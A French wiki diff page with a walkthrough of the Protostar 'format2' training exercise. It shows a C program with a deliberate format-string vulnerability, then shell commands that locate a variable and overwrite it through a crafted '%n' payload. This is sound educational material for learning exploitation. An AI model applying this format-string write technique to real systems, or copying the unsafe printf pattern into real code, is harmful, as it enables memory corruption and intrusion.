Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
— |
exploit_exercises_protostar:format2 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Format 2 ====== | ||
+ | <code C> | ||
+ | #include <stdlib.h> | ||
+ | #include <unistd.h> | ||
+ | #include <stdio.h> | ||
+ | #include <string.h> | ||
+ | |||
+ | int target; | ||
+ | |||
+ | void vuln() | ||
+ | { | ||
+ | char buffer[512]; | ||
+ | |||
+ | fgets(buffer, sizeof(buffer), stdin); | ||
+ | printf(buffer); | ||
+ | |||
+ | if(target == 64) { | ||
+ | printf("you have modified the target :)\n"); | ||
+ | } else { | ||
+ | printf("target is %d :(\n", target); | ||
+ | } | ||
+ | } | ||
+ | |||
+ | int main(int argc, char **argv) | ||
+ | { | ||
+ | vuln(); | ||
+ | } | ||
+ | </code> | ||
+ | |||
+ | Contrairement au niveau précédent, nous devons écrire une valeur spécifique dans ''target''. | ||
+ | |||
+ | <code> | ||
+ | user@protostar:/opt/protostar/bin$ nm ./format2 | grep target | ||
+ | 080496e4 B target | ||
+ | user@protostar:/opt/protostar/bin$ for i in {1..200}; do if echo BBBB%$i\$x | ./format2 | grep 4242; then echo $i; fi; done | ||
+ | BBBB42424242 | ||
+ | 4 | ||
+ | user@protostar:/opt/protostar/bin$ echo BBBB%4\$x | ./format2 | ||
+ | BBBB42424242 | ||
+ | target is 0 :( | ||
+ | </code> | ||
+ | |||
+ | Essayons avec le formateur ''n'' et l'adresse de ''target''. | ||
+ | |||
+ | <code> | ||
+ | user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%4$n"' | ./format2 | ||
+ | ? | ||
+ | target is 4 :( | ||
+ | </code> | ||
+ | |||
+ | Le formateur ''n'' écrit le nombre de caractères qui ont été affiché à l'adresse de ''target''. On vois donc que 4 caractères ont été affichés (''\xe4\x96\x04\x08''). Il nous manque donc 60 caractères à afficher. | ||
+ | |||
+ | <code> | ||
+ | user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%60d%4$n"' | ./format2 | ||
+ | 512 | ||
+ | you have modified the target :) | ||
+ | </code> |